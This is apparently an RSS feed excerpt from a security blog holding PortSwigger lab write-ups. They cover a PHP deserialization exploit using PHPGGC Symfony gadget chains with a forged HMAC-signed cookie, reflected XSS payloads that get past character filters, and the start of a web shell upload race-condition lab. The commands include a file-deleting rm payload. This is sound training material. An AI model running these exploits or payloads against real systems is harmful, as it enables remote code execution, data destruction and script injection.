  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Fri, 16 Sep 2022 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/books/2022/the-god-equation-the-quest-for-a-theory-of-everything</link>
        <guid isPermaLink="true">https://nima.ninja/books/2022/the-god-equation-the-quest-for-a-theory-of-everything</guid>

        
          <media:content url="https://nima.ninja/books/assets/2022/the-god-equation-book.jpg" medium="image" />
        

        
          <category>books</category>
        
        
          <category>Physics</category>
        
          <category>Michio Kaku</category>
        
          <category>String Theory</category>
        
          <category>Quantum Physics</category>
        
          <category>Top Book</category>
        
          <category>Top Science Book</category>
        
      </item>
    
      <item>
        <title>Lab: Exploiting PHP deserialization with a pre-built gadget chain</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/blog/assets/2022/supply-chain.png" alt="Lab: Exploiting PHP deserialization with a pre-built gadget chain" /></p>
            

            <p>
  <br />
</p>

<p>
<br /></p>

<!--TOC-->

<p>
  <br />
</p>

<h2 id="lab-link">Lab Link</h2>
<hr />
<p>
  <a href="https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-php-deserialization-with-a-pre-built-gadget-chain">Lab: Exploiting PHP deserialization with a pre-built gadget chain</a>
</p>

<p>
  <br />
</p>
<h2 id="lab-description">Lab Description</h2>
<hr />
<p><br />
This lab has a serialization-based session mechanism that uses a signed cookie. It also uses a common PHP framework. Although you don’t have source code access, you can still exploit this lab’s insecure deserialization using pre-built gadget chains.</p>

<p>To solve the lab, identify the target framework then use a third-party tool to generate a malicious serialized object containing a remote code execution payload. Then, work out how to generate a valid signed cookie containing your malicious object. Finally, pass this into the website to delete the <code class="language-plaintext highlighter-rouge">morale.txt</code> file from Carlos’s home directory.</p>

<p>You can log in to your own account using the following credentials: <code class="language-plaintext highlighter-rouge">wiener:peter</code></p>

<p>
  <br />
</p>
<h2 id="solutions">Solutions</h2>
<hr />
<p>
  <br />
</p>
<h3 id="solution-1-my-solution">Solution 1: My Solution</h3>
<p>It is recommended to use Linux or a Unix-based operating system for using pre-built gadget chain tools like PHPGGC for PHP or Ysoserial for Java because of powerful bash command tools that are already in your arsenal or can be downloaded easily. So let’s begin.</p>

<p>At first, let’s get more information by browsing lab pages, when we log in with <code class="language-plaintext highlighter-rouge">wiener:peter</code> credentials, we see a session cookie in Burp like this:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>%7B%22token%22%3A%22Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2a2xvbHZkNmw4bDIwN2dzMHd1Zms4bGR2bXc1NGV2cCI7fQ%3D%3D%22%2C%22sig_hmac_sha1%22%3A%22e14415c3060a4b056821d84317015c0d8e63b648%22%7D
</code>
    </pre>
  </div>
</div>

<p>It is a URL-encoded string, which when decoded in Burp decoder we get this:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2a2xvbHZkNmw4bDIwN2dzMHd1Zms4bGR2bXc1NGV2cCI7fQ==","sig_hmac_sha1":"e14415c3060a4b056821d84317015c0d8e63b648"}
</code>
    </pre>
  </div>
</div>

<p>As you can see, it seems that the token part is signed with hmac_sha1 algorithm. Also the token part in this string is base64-encoded, when decoded it is:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"vklolvd6l8l207gs0wufk8ldvmw54evp";}
</code>
    </pre>
  </div>
</div>

<p>It is a serialized PHP object. So we can test if there is any insecure deserialization vulnerability that we can exploit, Since it is a signed session cookie, if we want to edit this serialized object, we need the key for the hash algorithm to sign our payload value so we need to search for clues of the key used. When surfing lab pages, in the source of the website we can find this commented line:</p>

<div class="language-html highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="c">&lt;!-- &lt;a href=/cgi-bin/phpinfo.php&gt;Debug&lt;/a&gt; --&gt;</span>
</code>
    </pre>
  </div>
</div>

<p>so we use this link to open the <code class="language-plaintext highlighter-rouge">phpinfo</code> page, in this page we can find the secret key:</p>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2022/web-security-academy-php-deserialization-secret-key.png" width="995" height="424" alt="Environment section of phpinfo page showing secret_key value" />
<p>
  <br />
</p>

<p>We test it to make sure this is the key that is used for signing the session cookie.</p>

<p>With this command you can sign a value:</p>

<div class="language-bash highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="nb">echo</span> <span class="nt">-n</span> <span class="s2">"value"</span> | openssl sha1 <span class="nt">-hmac</span> <span class="s2">"key"</span>
</code>
    </pre>
  </div>
</div>

<p>We can test this:</p>

<div class="language-bash highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="nb">echo</span> <span class="nt">-n</span> <span class="s2">"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2a2xvbHZkNmw4bDIwN2dzMHd1Zms4bGR2bXc1NGV2cCI7fQ=="</span> | openssl sha1 <span class="nt">-hmac</span> <span class="s2">"g8ffja92adxkuz3681mg16suuoo3sbxd"</span>
</code>
    </pre>
  </div>
</div>

<p>When we run this code we get this signed value:
<code class="language-plaintext highlighter-rouge">e14415c3060a4b056821d84317015c0d8e63b648</code> and check it with the “sig_hmac_sha1” value in the decoded session cookie above and we see the values are matched, So we can use this secret key to hash our own serialized payload.</p>

<p>Also in the <code class="language-plaintext highlighter-rouge">/cgi-bin/phpinfo.php</code> page above we can see that the website is using Zend Engine:</p>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2022/web-security-academy-php-deserialization-zend-engine.png" width="952" height="75" alt="zendengine logo and version details in phpinfo page" />
<p>
  <br />
</p>

<p>Please pay attention not to confuse Zend engine with Zend Framework so we need to find out more clues about what PHP framework is used so that we can create an appropriate payload for it.</p>

<p>When the session cookie is manipulated in Burp repeater, an error page is returned in response and we get our clue in the error description:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>Internal Server Error: Symfony Version: 4.3.6
</code>
    </pre>
  </div>
</div>

<p>So the website is using Symfony framework for PHP. With all this information, we can create our final payload, we use PHPGGC tool to build our payload, first download this tool from its Github page.</p>

<p>Use this command to find related payloads for Symfony framework:</p>

<div class="language-bash highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>./phpggc <span class="nt">-l</span> symfony
</code>
    </pre>
  </div>
</div>

<p>We get this list:</p>

<p>
  <br />
</p>
<img src="https://nima.ninja/blog/assets/2022/web-security-academy-php-deserialization-phpggc.png" width="822" height="238" alt="List of existing gadget chains for symfony framework" />
<p>
  <br />
</p>

<p>We start from the first RCE command in the list and test to see which one is working.</p>

<p>We use the secret key found in our bash command, This bash command is created to do multiple tasks and create a final payload:</p>

<div class="language-bash highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="nb">command</span><span class="o">=</span><span class="si">$(</span>./phpggc <span class="nt">-f</span> <span class="nt">-b</span> Symfony/RCE1 <span class="s2">"rm /home/carlos/morale.txt"</span><span class="si">)</span><span class="p">;</span><span class="nv">x</span><span class="o">=</span><span class="si">$(</span> <span class="nb">echo</span> <span class="nt">-n</span> <span class="nv">$command</span><span class="si">)</span><span class="p">;</span><span class="nv">y</span><span class="o">=</span><span class="si">$(</span><span class="nb">echo</span> <span class="nt">-n</span> <span class="nv">$x</span> | openssl sha1 <span class="nt">-hmac</span> <span class="s2">"g8ffja92adxkuz3681mg16suuoo3sbxd"</span> | <span class="nb">cut</span> <span class="nt">-c</span> 14-<span class="si">)</span><span class="p">;</span>urlencode <span class="s1">'{"token":"'</span><span class="nv">$x</span><span class="s1">'","sig_hmac_sha1":"'</span><span class="nv">$y</span><span class="s1">'"}'</span>
</code>
    </pre>
  </div>
</div>

<p>You can substitute your desired PHPGGC command in the above code and also your own secret key that you’ve found and get the resulting payload in the correct final format.</p>

<p>In the above command:</p>

<p><code class="language-plaintext highlighter-rouge">-n</code> in <code class="language-plaintext highlighter-rouge">echo</code> command is to remove the trailing newline characters.</p>

<p><code class="language-plaintext highlighter-rouge">-b</code> in <code class="language-plaintext highlighter-rouge">phpggc</code> is to base64 encode the gadget chain.</p>

<p><code class="language-plaintext highlighter-rouge">-f</code> in <code class="language-plaintext highlighter-rouge">phpggc</code> is to fast destruct. Here is the description of this flag from PHPGGC Github page:</p>

<p>“PHPGGC implements a <code class="language-plaintext highlighter-rouge">--fast-destruct</code> (<code class="language-plaintext highlighter-rouge">-f</code>) flag, that will make sure your serialized object will be destroyed right after the <code class="language-plaintext highlighter-rouge">unserialize()</code> call, and not at the end of the script. I’d recommend using it for every <code class="language-plaintext highlighter-rouge">__destruct</code> vector, as it improves reliability. For instance, if PHP script raises an exception after the call, the <code class="language-plaintext highlighter-rouge">__destruct</code> method of your object might not be called. As it is processed at the same time as encoders, it needs to be set first.”</p>

<p>So it is recommended to use this flag.</p>

<p><code class="language-plaintext highlighter-rouge">cut -c 14-</code> command cuts the resulting string because the result of the signed value of <code class="language-plaintext highlighter-rouge">openssl</code> command is something like:</p>

<div class="language-bash highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>SHA1<span class="o">(</span>stdin<span class="o">)=</span> e14415c3060a4b056821d84317015c0d8e63b648
</code>
    </pre>
  </div>
</div>

<p>And we should begin at character 14 and remove the additional beginning characters of <code class="language-plaintext highlighter-rouge">SHA1(stdin)= </code></p>

<p>So we get this final payload from the above command:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>%7B%22token%22%3A%22YToyOntpOjc7Tzo0MzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxBcGN1QWRhcHRlciI6Mzp7czo2NDoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcQWJzdHJhY3RBZGFwdGVyAG1lcmdlQnlMaWZldGltZSI7czo5OiJwcm9jX29wZW4iO3M6NTg6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXEFic3RyYWN0QWRhcHRlcgBuYW1lc3BhY2UiO2E6MDp7fXM6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXEFic3RyYWN0QWRhcHRlcgBkZWZlcnJlZCI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO31pOjc7aTo3O30%3D%22%2C%22sig_hmac_sha1%22%3A%22e6496d1876437637e6aca6a408cc1b7281bec1fd%22%7D
</code>
    </pre>
  </div>
</div>

<p>We replace this string with the session cookie in Burp repeater and Carlos’s <code class="language-plaintext highlighter-rouge">morale.txt</code> file is deleted and the lab is solved!</p>

<p>
  <br />
</p>
<h3 id="solution-2-web-security-academys-solution">Solution 2: Web Security Academy’s Solution</h3>
<ol>
  <li>
    <p>Log in and send a request containing your session cookie to Burp Repeater. Highlight the cookie and look at the <strong>Inspector</strong> panel.</p>
  </li>
  <li>
    <p>Notice that the cookie contains a Base64-encoded token, signed with a SHA-1 HMAC hash.</p>
  </li>
  <li>
    <p>Copy the decoded cookie from the Inspector and paste it into Decoder.</p>
  </li>
  <li>
    <p>In Decoder, highlight the token and then select <strong>Decode as &gt; Base64</strong>. Notice that the token is actually a serialized PHP object.</p>
  </li>
  <li>
    <p>In Burp Repeater, observe that if you try sending a request with a modified cookie, an exception is raised because the digital signature no longer matches. However, you should notice that:</p>
  </li>
</ol>

<ul>
  <li>A developer comment discloses the location of a debug file at <code class="language-plaintext highlighter-rouge">/cgi-bin/phpinfo.php</code>.</li>
  <li>The error message reveals that the website is using the Symfony 4.3.6 framework.</li>
</ul>

<ol start="6">
  <li>
    <p>Request the <code class="language-plaintext highlighter-rouge">/cgi-bin/phpinfo.php</code> file in Burp Repeater and observe that it leaks some key information about the website, including the <code class="language-plaintext highlighter-rouge">SECRET_KEY</code> environment variable. Save this key; you’ll need it to sign your exploit later.</p>
  </li>
  <li>
    <p>Download the “PHPGGC” tool and execute the following command:</p>
  </li>
</ol>

<div class="language-bash highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>./phpggc Symfony/RCE4 <span class="nb">exec</span> <span class="s1">'rm /home/carlos/morale.txt'</span> | <span class="nb">base64</span>
</code>
    </pre>
  </div>
</div>

<p>This will generate a Base64-encoded serialized object that exploits an RCE gadget chain in Symfony to delete Carlos’s <code class="language-plaintext highlighter-rouge">morale.txt</code> file.</p>

<ol start="8">
  <li>You now need to construct a valid cookie containing this malicious object and sign it correctly using the secret key you obtained earlier. You can use the following PHP script to do this. Before running the script, you just need to make the following changes:</li>
</ol>

<ul>
  <li>Assign the object you generated in PHPGGC to the <code class="language-plaintext highlighter-rouge">$object</code> variable.</li>
  <li>Assign the secret key that you copied from the <code class="language-plaintext highlighter-rouge">phpinfo.php</code> file to the <code class="language-plaintext highlighter-rouge">$secretKey</code> variable.</li>
</ul>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="nv">$object</span> <span class="o">=</span> <span class="s2">"OBJECT-GENERATED-BY-PHPGGC"</span><span class="p">;</span>
<span class="nv">$secretKey</span> <span class="o">=</span> <span class="s2">"LEAKED-SECRET-KEY-FROM-PHPINFO.PHP"</span><span class="p">;</span>
<span class="nv">$cookie</span> <span class="o">=</span> <span class="nb">urlencode</span><span class="p">(</span><span class="s1">'{"token":"'</span> <span class="mf">.</span> <span class="nv">$object</span> <span class="mf">.</span> <span class="s1">'","sig_hmac_sha1":"'</span> <span class="mf">.</span> <span class="nb">hash_hmac</span><span class="p">(</span><span class="s1">'sha1'</span><span class="p">,</span> <span class="nv">$object</span><span class="p">,</span> <span class="nv">$secretKey</span><span class="p">)</span> <span class="mf">.</span> <span class="s1">'"}'</span><span class="p">);</span>
<span class="k">echo</span> <span class="nv">$cookie</span><span class="p">;</span>
</code>
    </pre>
  </div>
</div>

<p>This will output a valid, signed cookie to the console.</p>

<ol start="9">
  <li>In Burp Repeater, replace your session cookie with the malicious one you just created, then send the request to solve the lab.</li>
</ol>

<p>
  <br />
</p>
<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="lab-exploiting-php-deserialization-with-a-pre-built-gadget-chain"><a href="https://portswigger.net/web-security/deserialization/exploiting/lab-deserialization-exploiting-php-deserialization-with-a-pre-built-gadget-chain">Lab: Exploiting PHP deserialization with a pre-built gadget chain</a></h3>
  </li>
</ul>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Thu, 11 Aug 2022 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/blog/2022/exploiting-php-deserialization-with-a-pre-built-gadget-chain</link>
        <guid isPermaLink="true">https://nima.ninja/blog/2022/exploiting-php-deserialization-with-a-pre-built-gadget-chain</guid>

        
          <media:content url="https://nima.ninja/blog/assets/2022/supply-chain.png" medium="image" />
        

        
          <category>blog</category>
        
        
          <category>Web Application Security</category>
        
          <category>Web Security Academy</category>
        
          <category>Labs</category>
        
          <category>Insecure Deserialization</category>
        
          <category>Remote Code Execution</category>
        
          <category>Gadget Chains</category>
        
          <category>PHP</category>
        
          <category>PHPGGC</category>
        
      </item>
    
      <item>
        <title>Cross-site WebSocket hijacking (CSWSH)</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/links/assets/2022/websocket.png" alt="Cross-site WebSocket hijacking (CSWSH)" /></p>
            

            <p>
  <br />
</p>

<p>
<br /></p>

<p>See the first link below to become familiar with various Cross-site WebSocket hijacking (CSWSH) attacks.</p>

<p>If you are not familiar with Websocket vulnerabilities, take a look at the second link for more details.</p>

<p>
  <br />
</p>
<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="cross-site-websocket-hijacking-cswsh--portswigger"><a href="https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking">Cross-site WebSocket hijacking (CSWSH) — PortSwigger</a></h3>
  </li>
  <li>
    <h3 id="testing-for-websockets-security-vulnerabilities--portswigger"><a href="https://portswigger.net/web-security/websockets">Testing for WebSockets security vulnerabilities — PortSwigger</a></h3>
  </li>
</ul>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />



          ]]>
        </description>

        <pubDate>Thu, 07 Jul 2022 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/links/2022/cross-site-websocket-hijacking-cswsh</link>
        <guid isPermaLink="true">https://nima.ninja/links/2022/cross-site-websocket-hijacking-cswsh</guid>

        
          <media:content url="https://nima.ninja/links/assets/2022/websocket.png" medium="image" />
        

        
          <category>links</category>
        
        
          <category>Web Application Security</category>
        
          <category>Web Security Academy</category>
        
          <category>Websockets</category>
        
          <category>Cross-Site Request Forgery</category>
        
          <category>CSRF</category>
        
      </item>
    
      <item>
        <title>Expert Lab: Reflected XSS in a JavaScript URL with some characters blocked</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/blog/assets/2022/hacker.png" alt="Expert Lab: Reflected XSS in a JavaScript URL with some characters blocked" /></p>
            

            <p>
  <br />
</p>

<p>
<br /></p>

<!--TOC-->

<p>
  <br />
</p>

<h2 id="lab-link">Lab Link</h2>
<hr />
<p>
  <a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-url-some-characters-blocked">Lab: Reflected XSS in a JavaScript URL with some characters blocked</a>
</p>

<p>
  <br />
</p>
<h2 id="lab-description">Lab Description</h2>
<hr />
<p><br />
This lab reflects your input in a JavaScript URL, but all is not as it seems. This initially seems like a trivial challenge; however, the application is blocking some characters in an attempt to prevent XSS attacks.</p>

<p>To solve the lab, perform a cross-site scripting attack that calls the alert function with the string 1337 contained somewhere in the alert message.</p>

<p>
  <br />
</p>
<h2 id="solutions">Solutions</h2>
<hr />
<p>
  <br />
</p>
<h3 id="solution-1">Solution 1</h3>
<p>Visit the following URL, replacing your-lab-id with your lab ID:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>https://your-lab-id.web-security-academy.net/post?postId=5&amp;%27},x=x=%3E{throw/**/onerror=alert,1337},toString=x,window%2b%27%27,{x:%27
</code>
    </pre>
  </div>
</div>

<p>The lab will be solved, but the alert will only be called if you click “Back to blog” at the bottom of the page.</p>

<p>The payload here, URL decoded is:</p>

<div class="language-js highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="o">&amp;</span><span class="dl">'</span><span class="s1">},x=x=&gt;{throw/**/onerror=alert,1337},toString=x,window+</span><span class="dl">''</span><span class="s1">,{x:</span><span class="dl">'</span>
</code>
    </pre>
  </div>
</div>

<p>The exploit uses exception handling to call the alert function with arguments. The throw statement is used, separated with a blank comment in order to get round the no spaces restriction. The alert function is assigned to the onerror exception handler.</p>

<p>As throw is a statement, it cannot be used as an expression. Instead, we need to use arrow functions to create a block so that the throw statement can be used. We then need to call this function, so we assign it to the toString property of window and trigger this by forcing a string conversion on window.</p>

<p><br />
Here are some explanations about the Javascript code used above:</p>

<p>First of all, the code is using the comma operator. What the comma operator does is allow you to evaluate multiple expressions. In particular in this case, you have three:</p>

<div class="language-js highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>   <span class="nx">x</span><span class="o">=</span><span class="nx">x</span><span class="o">=&gt;</span><span class="p">{</span><span class="k">throw</span> <span class="nx">onerror</span><span class="o">=</span><span class="nx">alert</span><span class="p">,</span><span class="mi">1337</span><span class="p">},</span><span class="nx">toString</span><span class="o">=</span><span class="nx">x</span><span class="p">,</span><span class="nb">window</span><span class="o">+</span><span class="dl">''</span>
<span class="c1">// ^_____________________________^ ^________^ ^_______^</span>
<span class="c1">//                 1                     2         3</span>
</code>
    </pre>
  </div>
</div>

<p>Let’s examine them one by one:</p>

<p>
  <br />
</p>
<h4 id="brief-note-about-implicit-globals">Brief Note about Implicit Globals</h4>
<p>This is going to be relevant for most of the below sections, so I want to clear it up first. Any time you assign to any name you haven’t declared with <code class="language-plaintext highlighter-rouge">var</code>, <code class="language-plaintext highlighter-rouge">let</code>, or <code class="language-plaintext highlighter-rouge">const</code> it implicitly assigns to a property on the global object. In the browser, the global object is <code class="language-plaintext highlighter-rouge">window</code>, so any implicit globals go there.</p>

<p>
  <br />
</p>
<h4 id="an-arrow-function">An Arrow Function</h4>
<div class="language-js highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="nx">x</span><span class="o">=</span><span class="nx">x</span><span class="o">=&gt;</span><span class="p">{</span><span class="nx">onerror</span><span class="o">=</span><span class="nx">alert</span><span class="p">;</span> <span class="k">throw</span> <span class="mi">1337</span><span class="p">}</span>
</code>
    </pre>
  </div>
</div>

<h5 id="definition">Definition</h5>
<p>This will create a new arrow function and assign it to <code class="language-plaintext highlighter-rouge">x</code>. Since there is no variable declaration, <code class="language-plaintext highlighter-rouge">x</code> will be an implicit global and thus attached to <code class="language-plaintext highlighter-rouge">window</code>. This isn’t extremely useful, it’s likely done to save a few characters. The function also takes a single parameter called <code class="language-plaintext highlighter-rouge">x</code> but does nothing with it. Again, nothing useful, saves up a single character, otherwise it needs to be defined as <code class="language-plaintext highlighter-rouge">()=&gt;</code>.</p>

<p>
  <br />
</p>
<h4 id="overriding-tostring">Overriding <code class="language-plaintext highlighter-rouge">toString</code></h4>
<div class="language-js highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="nx">toString</span><span class="o">=</span><span class="nx">x</span>
</code>
    </pre>
  </div>
</div>

<p>This part will override the <code class="language-plaintext highlighter-rouge">toString</code> method on <code class="language-plaintext highlighter-rouge">window</code> and change it to the <code class="language-plaintext highlighter-rouge">x</code> function. Thus any time you explicitly or implicitly convert <code class="language-plaintext highlighter-rouge">window</code> to a string, it will instead execute <code class="language-plaintext highlighter-rouge">x</code>.</p>

<div class="language-js highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="nx">x</span> <span class="o">=</span> <span class="nx">x</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">onerror</span> <span class="o">=</span> <span class="nx">alert</span><span class="p">;</span>
  <span class="k">throw</span> <span class="mi">1337</span>
<span class="p">}</span>

<span class="nx">toString</span> <span class="o">=</span> <span class="nx">x</span><span class="p">;</span>

<span class="nb">window</span><span class="p">.</span><span class="nf">toString</span><span class="p">();</span>
</code>
    </pre>
  </div>
</div>

<p>
  <br />
</p>
<h4 id="converting-window-to-string">Converting <code class="language-plaintext highlighter-rouge">window</code> to String</h4>
<p>In JavaScript, when you try to concatenate any value with a string, the value will be implicitly also be converted to a string. This is usually done by calling the <code class="language-plaintext highlighter-rouge">toString()</code> method.</p>

<p>The same thing happens in the last part of the code:</p>

<div class="language-js highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="nb">window</span><span class="o">+</span><span class="dl">''</span>
</code>
    </pre>
  </div>
</div>

<p>This will:</p>

<ol>
  <li>trigger conversion to a string, which</li>
  <li>calls the <code class="language-plaintext highlighter-rouge">toString</code> method on <code class="language-plaintext highlighter-rouge">window</code>, which</li>
  <li>was overridden with <code class="language-plaintext highlighter-rouge">x</code> using <code class="language-plaintext highlighter-rouge">toString=x</code>, which</li>
  <li>calls the <code class="language-plaintext highlighter-rouge">x</code> function instead, which</li>
  <li>sets the global error handler to just be <code class="language-plaintext highlighter-rouge">alert</code> (<code class="language-plaintext highlighter-rouge">onerror=alert</code>) and immediately throws an error (throw <code class="language-plaintext highlighter-rouge">1337</code>), which</li>
  <li>invokes the global error handler</li>
</ol>

<p>
  <br />
</p>
<h4 id="why-omitting-window-doesnt-throw-an-error">Why omitting <code class="language-plaintext highlighter-rouge">window+''</code> doesn’t Throw an Error</h4>
<p>Hopefully clear from the above, but to address it directly, that code is needed to set off the whole chain of reactions defined before it.
Here is the full code with explanation and formatting for clarity:</p>

<div class="language-js highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="c1">//create a function</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">x</span> <span class="o">=</span> <span class="nx">x</span> <span class="o">=&gt;</span> <span class="p">{</span>
  <span class="nx">onerror</span> <span class="o">=</span> <span class="nx">alert</span><span class="p">;</span> <span class="c1">//changes the global error handler</span>
  <span class="k">throw</span> <span class="mi">1337</span>       <span class="c1">//throws an error to trigger the error handler</span>
<span class="p">};</span>

<span class="c1">//overwrite the `toString` method of `window` so it always throws an error</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">toString</span> <span class="o">=</span> <span class="nb">window</span><span class="p">.</span><span class="nx">x</span><span class="p">;</span>

<span class="c1">//implicitly call `window.toString()` by performing a string concatenation</span>
<span class="nb">window</span> <span class="o">+</span> <span class="dl">''</span><span class="p">;</span>
</code>
    </pre>
  </div>
</div>

<p>
  <br />
</p>
<h3 id="solution-2">Solution 2</h3>
<p>Another interesting solution is to use <em>JavaScript without parentheses using DOMMatrix</em> which is explained in detail by Gareth Heyes in a great post. To solve this lab with DOMMatrix payload, use:</p>

<div class="language-plaintext highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code>https://your-lab-id.web-security-academy.net/post?postId=5&amp;%27},x=z=%3E{x=new/**/DOMMatrix;matrix=alert;x.a=1337;location='javascript'%2b':'%2bx},toString=x,window%2b%27%27,{x:%27
</code>
    </pre>
  </div>
</div>

<p>The payload in this code, URL decoded is:</p>

<div class="language-js highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="o">&amp;</span><span class="dl">'</span><span class="s1">},x=z=&gt;{x=new/**/DOMMatrix;matrix=alert;x.a=1337;location=</span><span class="dl">'</span><span class="nx">javascript</span><span class="dl">'</span><span class="s1">+</span><span class="dl">'</span><span class="p">:</span><span class="dl">'</span><span class="s1">+x},toString=x,window+</span><span class="dl">''</span><span class="s1">,{x:</span><span class="dl">'</span>
</code>
    </pre>
  </div>
</div>

<p>As explained in Solution 1: <code class="language-plaintext highlighter-rouge">/**/</code> is used to bypass space restriction, also click “Back to blog” link to pop alert message box and solve the lab.</p>

<p>
  <br />
</p>
<h2 id="external-links">
  <em>External Links</em>
</h2>
<hr />
<ul>
  <li>
    <h3 id="lab-reflected-xss-in-a-javascript-url-with-some-characters-blocked"><a href="https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-url-some-characters-blocked">Lab: Reflected XSS in a JavaScript URL with some characters blocked</a></h3>
  </li>
  <li>
    <h3 id="cross-site-scripting-xss-cheat-sheet-restricted-characters"><a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#restricted-characters">Cross-site scripting (XSS) cheat sheet: Restricted characters</a></h3>
  </li>
</ul>

<p>
  <br />
</p>
<h2 id="references">
  <em>References</em>
</h2>
<hr />


          ]]>
        </description>

        <pubDate>Sat, 04 Jun 2022 00:00:00 -0500</pubDate>
        <link>https://nima.ninja/blog/2022/expert-lab-reflected-xss-in-a-javascript-url-with-some-characters-blocked</link>
        <guid isPermaLink="true">https://nima.ninja/blog/2022/expert-lab-reflected-xss-in-a-javascript-url-with-some-characters-blocked</guid>

        
          <media:content url="https://nima.ninja/blog/assets/2022/hacker.png" medium="image" />
        

        
          <category>blog</category>
        
        
          <category>Web Application Security</category>
        
          <category>Web Security Academy</category>
        
          <category>Expert Labs</category>
        
          <category>Cross-Site Scripting</category>
        
          <category>XSS</category>
        
          <category>Javascript</category>
        
      </item>
    
      <item>
        <title>Expert Lab: Web Shell Upload via Race Condition</title>

        <description>
          <![CDATA[
            
              <p><img src="https://nima.ninja/blog/assets/2022/console.png" alt="Expert Lab: Web Shell Upload via Race Condition" /></p>
            

            <p>
  <br />
</p>

<p>
<br /></p>

<!--TOC-->

<p>
  <br />
</p>

<h2 id="lab-link">Lab Link</h2>
<hr />
<p>
  <a href="https://portswigger.net/web-security/file-upload/lab-file-upload-web-shell-upload-via-race-condition">Lab: Web shell upload via race condition</a>
</p>

<p>
  <br />
</p>
<h2 id="lab-description">Lab Description</h2>
<hr />
<p><br />
This lab contains a vulnerable image upload function. Although it performs robust validation on any files that are uploaded, it is possible to bypass this validation entirely by exploiting a race condition in the way it processes them.</p>

<p>To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.</p>

<p>You can log in to your own account using the following credentials: wiener:peter</p>

<p>
  <br />
</p>
<h2 id="lab-hint">Lab Hint</h2>
<hr />
<p><br />
The vulnerable code that introduces this race condition is as follows:</p>

<div class="language-php highlighter-rouge">
  <div class="highlight">
    <pre class="highlight">
      <code><span class="cp">&lt;?php</span>
<span class="nv">$target_dir</span> <span class="o">=</span> <span class="s2">"avatars/"</span><span class="p">;</span>
<span class="nv">$target_file</span> <span class="o">=</span> <span class="nv">$target_dir</span> <span class="mf">.</span> <span class="nv">$_FILES</span><span class="p">[</span><span class="s2">"avatar"</span><span class="p">][</span><span class="s2">"name"</span><span class="p">];</span>

<span class="c1">// temporary move</span>
<span class="nb">move_uploaded_file</span><span class="p">(</span><span class="nv">$_FILES</span><span class="p">[</span><span class="s2">"avatar"</span><span class="p">][</span><span class="s2">"tmp_name"</span><span class="p">],</span> <span class="nv">$target_file</span><span class="p">);</span>

